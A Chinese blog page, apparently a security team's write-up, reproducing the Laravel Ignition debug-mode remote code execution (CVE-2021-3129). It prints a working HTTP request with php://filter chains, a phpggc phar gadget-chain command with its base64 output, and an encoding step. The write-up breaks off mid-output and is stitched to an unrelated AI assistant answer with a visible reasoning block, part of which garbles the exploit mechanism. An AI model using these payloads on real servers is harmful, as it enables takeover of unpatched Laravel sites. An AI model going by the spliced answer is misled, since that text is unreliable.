漏洞复现--laravel<=8.4.2 Debug RCE

本文介绍了2021年Laravel存在的远程代码执行漏洞(CVE-2021-3129),详细阐述了漏洞复现过程,包括清空log、生成phar文件、quoted-printable-encode、写入log等步骤,并分析了漏洞的触发条件和payload的构建技巧,提醒读者避免非法利用。

声明:本公众号大部分文章来黑白之间安全团队成员的实战经验以及学习积累,文章内公布的漏洞或者脚本都来自互联网,未经授权,严禁转载。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本团队无关。

前言

2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

影响范围

laravel <= 8.4.2
Ignition <= 2.5.1
开启debug

CVE编号

CVE-2021-3129

复现步骤

清空 log

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.136.167:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.136.167:8000/_ignition/execute-solution
Content-Type: application/json
Content-Length: 320
Connection: close
Upgrade-Insecure-Requests: 1

{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters":{
		"variableName": "username",
		"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/laravel/storage/logs/laravel.log"
	}
}

生成phar文件并base64

php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAANNQBGAEAAAADH5/2LQBAAAAAAAACAAAAHRlc3QudHh0BAAAANNQBGAEAAAADH5/2LQBAAAAAAAAdGVzdHRlc3R5dqEGHXRSkD3PRm3X6/hNNh1MXQIAAABHQk1C

quoted-printable-encode

Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAANNQBGAEAAAADH5/2LQBAAAAAAAACAAAAHRlc3QudHh0BAAAANNQBGAEAAAADH5/2LQBAAAAAAAAdGVzdHRlc3R5dqEGHXRSkD3PRm3X6/hNNh1MXQIAAABHQk1C'
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in a]).upper()
'=50=00=44=00=39=00=77=00=61=00
<think>根据提供的引用材料,用户询问的是PHP 8.4.2版本存在的漏洞。然而,PHP官方版本号通常以主版本.次版本.修订号(如8.1.3)形式发布,而8.4.2这个版本号在PHP官方版本中并不存在(截至2024年,PHP最新版本系列为8.3.x)。引用[2]和[4]中提到的"Laravel <= 8.4.2"指的是Laravel框架的版本,而非PHP语言本身的版本。因此需要明确区分: 1. **PHP语言漏洞**:引用[1]提到早期PHP版本的格式字符串漏洞,但未指定具体版本。 2. **Laravel框架漏洞**:引用[2]和[4]明确描述Laravel框架<=8.4.2版本在开启Debug模式时存在远程代码执行漏洞(CVE-2021-3129)。 用户可能混淆了PHP版本和Laravel版本。根据引用内容,直接相关的漏洞Laravel框架的漏洞,而非PHP语言本身的漏洞。 **核心结论**: - PHP 8.4.2版本不存在(PHP官方无此版本号)。 - Laravel框架<=8.4.2版本存在远程代码执行漏洞(CVE-2021-3129)。 因此,需引导用户澄清: 1. 是否指PHP语言的某个版本? 2. 或实际想查询Laravel框架漏洞? 若用户坚持问PHP语言漏洞,需说明版本号异常并建议核对;若实为Laravel漏洞,则详细解释CVE-2021-3129。 </think>根据提供的参考资料,您查询的 PHP 8.4.2 版本漏洞实际上是指 **Laravel 框架**的漏洞(非 PHP 语言本体)。以下是关键信息: ### 📌 Laravel <= 8.4.2 远程代码执行漏洞(CVE-2021-3129) 1. **漏洞本质** Laravel 开启 Debug 模式时,其内置组件 Ignition 的某些接口存在过滤不严,攻击者可构造恶意请求: - 通过伪造 Log 文件触发 Phar 反序列化 - 实现任意远程代码执行,完全控制服务器[^2][^4] 2. **触发条件** ```php // 漏洞触发需满足: APP_DEBUG=true // .env 文件中开启调试模式 Laravel 版本 ≤ 8.4.2 ``` 3. **技术原理** PHP 处理 Base64 解码时会忽略非法字符(除 `=` 外),当包含 `=` 的字符串被解码时,PHP 会报错中断执行。攻击者利用这一特性绕过安全过滤[^4]。 4. **影响版本** Laravel 框架 ≤ 8.4.2 的所有版本(与 PHP 语言版本无关)[^2] ### ⚠️ 关于 PHP 语言本体 - **PHP 8.4.2 版本不存在**(截至 2024 年,PHP 官方最新版本为 8.3.x) - 引用[1]提到的早期 PHP 版本格式字符串漏洞适用于旧版 PHP(如 PHP 5.x),与 8.x 无关 ### 🔒 修复方案 1. **立即升级 Laravel** 到 ≥ 8.4.3 版本 2. **生产环境关闭 Debug 模式**(设置 `APP_DEBUG=false`) 3. **添加 WAF 规则** 拦截对 `/vendor/ignition` 路径的恶意请求
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值